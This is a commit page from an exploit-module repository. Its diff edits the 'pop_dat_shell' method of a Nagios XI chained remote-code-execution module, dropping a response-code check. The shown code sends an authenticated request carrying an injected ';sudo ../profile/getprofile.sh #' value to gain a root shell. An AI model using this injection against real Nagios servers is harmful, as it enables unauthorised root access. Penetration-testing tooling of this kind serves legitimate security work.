Skip to content

Commit 68bd4e2

Browse files
committed
Fire and forget the shell
Edge case where reverse_perl returns 302 when app is unconfigured.
1 parent 5f08591 commit 68bd4e2

File tree

1 file changed

+1
-5
lines changed

1 file changed

+1
-5
lines changed

modules/exploits/linux/http/nagios_xi_chained_rce.rb

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -212,7 +212,7 @@ def payload_zip
212212
end
213213

214214
def pop_dat_shell
215-
res = send_request_cgi(
215+
send_request_cgi(
216216
'method' => 'GET',
217217
'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php',
218218
'cookie' => @admin_cookie,
@@ -221,10 +221,6 @@ def pop_dat_shell
221221
'end' => ';sudo ../profile/getprofile.sh #'
222222
}
223223
)
224-
225-
if res && res.code != 200
226-
fail_with(Failure::PayloadFailed, 'Failed to execute root shell! punt!')
227-
end
228224
end
229225

230226
#

0 commit comments

Comments
 (0)